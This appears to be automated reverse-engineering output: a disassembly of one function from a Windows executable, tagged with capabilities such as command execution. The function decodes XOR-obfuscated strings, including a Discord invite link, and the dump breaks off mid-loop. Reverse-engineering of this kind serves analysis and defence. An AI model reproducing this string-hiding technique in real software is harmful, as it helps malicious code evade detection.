Function at 0x140169ea0
Capabilities:
Authenticate hmac
Execute command
Parse pe header

Disassembly:
push rdi
sub rsp, 0x7b0
mov rax, qword [0x140204740]
xor rax, rsp
mov qword [rsp + 0x7a0], rax
mov dword [rsp + 0x4e8], 0
lea rax, [rsp + 0x680]
mov rdi, rax
xor eax, eax
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
mov edx, 1
lea rcx, [rsp + 0x680]
call fcn.1400689b0
nop
lea rax, [rsp + 0x550]
mov qword [rsp + 0x4f0], rax
movzx edx, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0x4f0]
call fcn.14003fe90
lea rcx, [rsp + 0x550]
call fcn.14003e3a0
nop
lea rax, [rsp + 0x570]
mov rdi, rax
xor eax, eax
mov ecx, 0x108
rep stosb byte [rdi], al
mov edx, 1
lea rcx, [rsp + 0x570]
call fcn.140068d80
nop
mov byte [rsp + 0x50], 0x53
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x51], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x52], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x53], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x54], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x55], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x56], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x57], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x58], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x59], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x5a], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x5b], al
movsx eax, byte [rsp + 0x50]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Detecton.txt
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x5c], al
lea rax, [rsp + 0x5d]
lea rax, [rsp + 0x5d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x228], 0
jmp 0x14016a10f
mov rax, qword [rsp + 0x228]
inc rax
mov qword [rsp + 0x228], rax
cmp qword [rsp + 0x228], 0xc
jae 0x14016a1a6
lea rax, [rsp + 0x51]
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x4f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x500]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f7], al
lea rax, [rsp + 0x51]
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0x508]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x510]
movzx ecx, byte [rsp + 0x1f7]
mov byte [rax], cl
jmp 0x14016a0fc
lea rax, [rsp + 0x51]
mov qword [rsp + 0x518], rax
mov eax, listen
imul rax, rax, 1
mov rcx, qword [rsp + 0x518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov byte [rax], 0
lea rax, [rsp + 0x51]
mov qword [rsp + 0x528], rax
mov r9d, 0x40
mov r8d, 2
mov rdx, qword [rsp + 0x528]
lea rcx, [rsp + 0x570]
call fcn.1401569c0
mov byte [rsp + 0x100], reloc.WLDAP32.dll_Ordinal_50
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x101], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x102], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x103], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x104], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x105], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x106], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x107], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x108], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x109], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x10a], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x10b], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x10c], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x10d], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x10e], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x10f], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x110], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x111], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x112], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x113], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x114], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x115], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x116], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x117], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x118], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x119], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x11a], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x11c], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x11d], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x11e], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x11f], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x120], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x121], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x122], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x123], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x124], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x126], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x127], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x128], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x129], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x12a], al
movsx eax, byte [rsp + 0x100]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, [0x1401c93e8]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x12b], al
lea rax, [rsp + 0x12c]
lea rax, [rsp + 0x12c]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x220], 0
jmp 0x14016a8dd
mov rax, qword [rsp + 0x220]
inc rax
mov qword [rsp + 0x220], rax
cmp qword [rsp + 0x220], 0x2b
jae 0x14016a97d
lea rax, [rsp + 0x101]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x530]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x538], rax
movsx eax, byte [rsp + 0x100]
mov rcx, qword [rsp + 0x538]
movsx ecx, byte [rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1f8], al
lea rax, [rsp + 0x101]
mov qword [rsp + 0x540], rax
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x540]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rsp + 0x1f8]
mov byte [rax], cl
jmp 0x14016a8ca
lea rax, [rsp + 0x101]
mov qword [rsp + 0x268], rax
mov eax, Ordinal_46
imul rax, rax, 1
mov rcx, qword [rsp + 0x268]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov byte [rax], 0
lea rax, [rsp + 0x101]
mov qword [rsp + 0x278], rax
mov rdx, qword [rsp + 0x278]
lea rcx, [rsp + 0x570]
call fcn.14003f3f0
mov byte [rsp + 0x190], gethostname
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x191], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x192], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x193], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x194], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x195], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x196], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x197], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x198], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x199], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x19a], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x19b], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x19c], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x19d], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x19e], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x19f], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a0], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a1], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a2], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a3], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a4], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a5], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a6], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a7], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a8], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1a9], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1aa], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ab], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ac], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ad], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ae], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1af], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b0], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b1], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b2], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b3], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x23
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b4], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x24
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b5], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x25
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b6], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b7], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b8], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1b9], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1ba], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1bb], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1bc], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1bd], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1be], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1bf], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x2f
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c0], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x30
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c1], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x31
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x1c2], al
movsx eax, byte [rsp + 0x190]
mov ecx, 1
imul rcx, rcx, 0x32
lea rdx, str._____________________________O__________SPN____https:__discord.gg_P35sC283As_
